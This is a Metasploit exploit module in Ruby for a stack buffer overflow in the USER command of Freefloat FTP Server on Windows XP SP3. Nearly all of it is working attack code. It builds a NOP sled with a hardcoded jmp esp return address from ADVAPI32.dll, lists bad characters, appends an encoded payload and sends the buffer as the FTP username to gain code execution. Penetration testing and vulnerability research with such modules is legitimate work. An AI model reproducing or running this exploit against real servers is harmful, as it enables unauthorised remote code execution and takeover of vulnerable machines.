Freefloat FTP Server Username Stack Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Freefloat FTP Server Username Stack Overflow',  
'Description' => %q{  
This module exploits a buffer overflow found in the USER command of the Freefloat FTP server.  
},  
'Author' => [  
'0v3r', # Initial Discovery  
'James Fitts' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/15689' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3', { 'Ret' => 0x77def069 } ], # jmp esp from ADVAPI32.dll  
],  
'DisclosureDate' => 'Dec 05 2010',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
buf = make_nops(230) + [target.ret].pack('V')  
buf << make_nops(50)  
buf << payload.encoded  
  
send_cmd( ['USER', buf] , false )  
  
handler  
disconnect  
end  
  
end  
  
`